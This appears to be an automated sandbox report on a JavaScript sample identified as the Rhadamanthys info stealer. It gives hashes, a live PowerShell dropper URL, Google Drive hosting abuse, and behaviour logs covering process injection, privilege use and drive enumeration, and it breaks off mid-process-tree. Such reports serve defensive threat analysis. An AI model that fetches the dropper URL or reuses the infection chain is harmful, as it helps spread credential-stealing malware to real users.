rhadamanthys | e5abe1f82fd818618657b5edec67c172ce04013f7377628112757a4dceddd172

Analysis

max time kernel
171s
max time network
174s
platform
windows11-21h2_x64
resource
win11-20240611-en
resource tags

arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
submitted
12/06/2024, 13:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.js
Size

25KB
MD5

93a6f47d15850557072286bd50b3c00d
SHA1

2b428e32a101a947a342387c5c8afad041f3cff0
SHA256

e5abe1f82fd818618657b5edec67c172ce04013f7377628112757a4dceddd172
SHA512

64ece77d9925dba2014091007b99d1722ea9b2c8c6333bea5e799ae1b958a0b7ef2e60c1457dc6a102d2faa7b897a025d5c2ddb9da362b36b5824a68552cda47
SSDEEP

192:bbqnHZZTuTYiQ5NVbh5/VgLuB1yyqbVAHsDXK3V4+TpP6QuoATDYJkrC7xbMzIwM:kbPnHsD2P6Xr2kbos5xO8RQrk6

Score

10^/10

rhadamanthys execution stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://opensun.monster/25053.bs64

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2984 created 3056	2984	explorer.exe	49

Blocklisted process makes network request 3 IoCs

flow	pid	Process
89	680	powershell.exe
90	680	powershell.exe
94	4708	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
680	powershell.exe
4708	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2788	UnRAR.exe
1580	steamerrorreporter64.exe

Loads dropped DLL 8 IoCs

pid	Process
4856	MsiExec.exe
4856	MsiExec.exe
4856	MsiExec.exe
4856	MsiExec.exe
4856	MsiExec.exe
4856	MsiExec.exe
1580	steamerrorreporter64.exe
1580	steamerrorreporter64.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
55	drive.google.com
56	drive.google.com
52	drive.google.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1580 set thread context of 2984	1580	steamerrorreporter64.exe	130

Drops file in Windows directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI755A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI87DA.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI73EE.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{00DF5A0A-E45E-4376-BF49-93ED1DBB0808}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF8918E5DC658D84AB.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF2CAA4BD92DA9F4AF.TMP	msiexec.exe
File created	C:\Windows\Installer\e597380.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI745C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI753A.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFD631CC0AE49C13E1.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFFC7381A29FC6FFF5.TMP	msiexec.exe
File created	C:\Windows\Installer\e597384.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e597380.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI74AB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI74DB.tmp	msiexec.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
2068	2984	WerFault.exe	130
4344	2984	WerFault.exe	130
2276	2984	WerFault.exe	130

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-423582142-4191893794-1888535462-1000\{A0F0CAC3-EA31-43FB-A199-C00450E04E0E}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-423582142-4191893794-1888535462-1000_Classes\Local Settings	msedge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\x64___installer___x32___.zip:Zone.Identifier	msedge.exe

Suspicious behavior: EnumeratesProcesses 57 IoCs

pid	Process
1256	msedge.exe
1256	msedge.exe
3088	msedge.exe
3088	msedge.exe
1972	msedge.exe
1972	msedge.exe
1904	msedge.exe
1904	msedge.exe
1604	identity_helper.exe
1604	identity_helper.exe
4356	msedge.exe
4356	msedge.exe
3224	msedge.exe
3224	msedge.exe
1224	msedge.exe
1224	msedge.exe
1224	msedge.exe
1224	msedge.exe
680	powershell.exe
680	powershell.exe
680	powershell.exe
1204	msiexec.exe
1204	msiexec.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
2984	explorer.exe
2984	explorer.exe
1684	dialer.exe
1684	dialer.exe
1684	dialer.exe
1684	dialer.exe
5104	msedge.exe
5104	msedge.exe
2840	msedge.exe
2840	msedge.exe
1340	msedge.exe
1340	msedge.exe
2068	identity_helper.exe
2068	identity_helper.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 26 IoCs

pid	Process
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
2840	msedge.exe
2840	msedge.exe
2840	msedge.exe
2840	msedge.exe
2840	msedge.exe
2840	msedge.exe
2840	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4740	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4740	msiexec.exe
Token: SeSecurityPrivilege	1204	msiexec.exe
Token: SeCreateTokenPrivilege	4740	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4740	msiexec.exe
Token: SeLockMemoryPrivilege	4740	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4740	msiexec.exe
Token: SeMachineAccountPrivilege	4740	msiexec.exe
Token: SeTcbPrivilege	4740	msiexec.exe
Token: SeSecurityPrivilege	4740	msiexec.exe
Token: SeTakeOwnershipPrivilege	4740	msiexec.exe
Token: SeLoadDriverPrivilege	4740	msiexec.exe
Token: SeSystemProfilePrivilege	4740	msiexec.exe
Token: SeSystemtimePrivilege	4740	msiexec.exe
Token: SeProfSingleProcessPrivilege	4740	msiexec.exe
Token: SeIncBasePriorityPrivilege	4740	msiexec.exe
Token: SeCreatePagefilePrivilege	4740	msiexec.exe
Token: SeCreatePermanentPrivilege	4740	msiexec.exe
Token: SeBackupPrivilege	4740	msiexec.exe
Token: SeRestorePrivilege	4740	msiexec.exe
Token: SeShutdownPrivilege	4740	msiexec.exe
Token: SeDebugPrivilege	4740	msiexec.exe
Token: SeAuditPrivilege	4740	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4740	msiexec.exe
Token: SeChangeNotifyPrivilege	4740	msiexec.exe
Token: SeRemoteShutdownPrivilege	4740	msiexec.exe
Token: SeUndockPrivilege	4740	msiexec.exe
Token: SeSyncAgentPrivilege	4740	msiexec.exe
Token: SeEnableDelegationPrivilege	4740	msiexec.exe
Token: SeManageVolumePrivilege	4740	msiexec.exe
Token: SeImpersonatePrivilege	4740	msiexec.exe
Token: SeCreateGlobalPrivilege	4740	msiexec.exe
Token: SeRestorePrivilege	1204	msiexec.exe
Token: SeTakeOwnershipPrivilege	1204	msiexec.exe
Token: SeRestorePrivilege	1204	msiexec.exe
Token: SeTakeOwnershipPrivilege	1204	msiexec.exe
Token: SeRestorePrivilege	1204	msiexec.exe
Token: SeTakeOwnershipPrivilege	1204	msiexec.exe
Token: SeRestorePrivilege	1204	msiexec.exe
Token: SeTakeOwnershipPrivilege	1204	msiexec.exe
Token: SeRestorePrivilege	1204	msiexec.exe
Token: SeTakeOwnershipPrivilege	1204	msiexec.exe
Token: SeRestorePrivilege	1204	msiexec.exe
Token: SeTakeOwnershipPrivilege	1204	msiexec.exe
Token: SeRestorePrivilege	1204	msiexec.exe
Token: SeTakeOwnershipPrivilege	1204	msiexec.exe
Token: SeDebugPrivilege	680	powershell.exe
Token: SeRestorePrivilege	1204	msiexec.exe
Token: SeTakeOwnershipPrivilege	1204	msiexec.exe
Token: SeRestorePrivilege	1204	msiexec.exe
Token: SeTakeOwnershipPrivilege	1204	msiexec.exe
Token: SeRestorePrivilege	1204	msiexec.exe
Token: SeTakeOwnershipPrivilege	1204	msiexec.exe
Token: SeRestorePrivilege	1204	msiexec.exe
Token: SeTakeOwnershipPrivilege	1204	msiexec.exe
Token: SeRestorePrivilege	1204	msiexec.exe
Token: SeTakeOwnershipPrivilege	1204	msiexec.exe
Token: SeRestorePrivilege	1204	msiexec.exe
Token: SeTakeOwnershipPrivilege	1204	msiexec.exe
Token: SeRestorePrivilege	1204	msiexec.exe
Token: SeTakeOwnershipPrivilege	1204	msiexec.exe
Token: SeRestorePrivilege	1204	msiexec.exe
Token: SeTakeOwnershipPrivilege	1204	msiexec.exe
Token: SeRestorePrivilege	1204	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe

Suspicious use of SendNotifyMessage 36 IoCs

pid	Process
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
2840	msedge.exe
2840	msedge.exe
2840	msedge.exe
2840	msedge.exe
2840	msedge.exe
2840	msedge.exe
2840	msedge.exe
2840	msedge.exe
2840	msedge.exe
2840	msedge.exe
2840	msedge.exe
2840	msedge.exe

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
2984	explorer.exe
2984	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3088 wrote to memory of 4912	3088	msedge.exe	83
PID 3088 wrote to memory of 4912	3088	msedge.exe	83
PID 1636 wrote to memory of 4040	1636	msedge.exe	85
PID 1636 wrote to memory of 4040	1636	msedge.exe	85
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 3548	3088	msedge.exe	86
PID 3088 wrote to memory of 1256	3088	msedge.exe	87
PID 3088 wrote to memory of 1256	3088	msedge.exe	87
PID 3088 wrote to memory of 1752	3088	msedge.exe	88
PID 3088 wrote to memory of 1752	3088	msedge.exe	88
PID 3088 wrote to memory of 1752	3088	msedge.exe	88
PID 3088 wrote to memory of 1752	3088	msedge.exe	88
PID 3088 wrote to memory of 1752	3088	msedge.exe	88
PID 3088 wrote to memory of 1752	3088	msedge.exe	88
PID 3088 wrote to memory of 1752	3088	msedge.exe	88
PID 3088 wrote to memory of 1752	3088	msedge.exe	88
PID 3088 wrote to memory of 1752	3088	msedge.exe	88
PID 3088 wrote to memory of 1752	3088	msedge.exe	88
PID 3088 wrote to memory of 1752	3088	msedge.exe	88
PID 3088 wrote to memory of 1752	3088	msedge.exe	88
PID 3088 wrote to memory of 1752	3088	msedge.exe	88
PID 3088 wrote to memory of 1752	3088	msedge.exe	88
PID 3088 wrote to memory of 1752	3088	msedge.exe	88
PID 3088 wrote to memory of 1752	3088	msedge.exe	88
PID 3088 wrote to memory of 1752	3088	msedge.exe	88
PID 3088 wrote to memory of 1752	3088	msedge.exe	88

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:3056
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1684

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\file.js
1⤵
PID:1028

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffa396c3cb8,0x7ffa396c3cc8,0x7ffa396c3cd8
  2⤵
  PID:4912
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1904 /prefetch:2
  2⤵
  PID:3548
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2352 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2612 /prefetch:8
  2⤵
  PID:1752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3212 /prefetch:1
  2⤵
  PID:420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3220 /prefetch:1
  2⤵
  PID:240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4496 /prefetch:1
  2⤵
  PID:2652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5060 /prefetch:1
  2⤵
  PID:3372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5244 /prefetch:1
  2⤵
  PID:4492
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5204 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1904
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3312 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3472 /prefetch:1
  2⤵
  PID:4740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3540 /prefetch:1
  2⤵
  PID:2276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5692 /prefetch:1
  2⤵
  PID:1952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3276 /prefetch:1
  2⤵
  PID:2864
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5672 /prefetch:1
  2⤵
  PID:1068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4412 /prefetch:8
  2⤵
  PID:2124
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=3264 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  PID:4356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
  2⤵
  PID:2484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
  2⤵
  PID:2276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4792 /prefetch:1
  2⤵
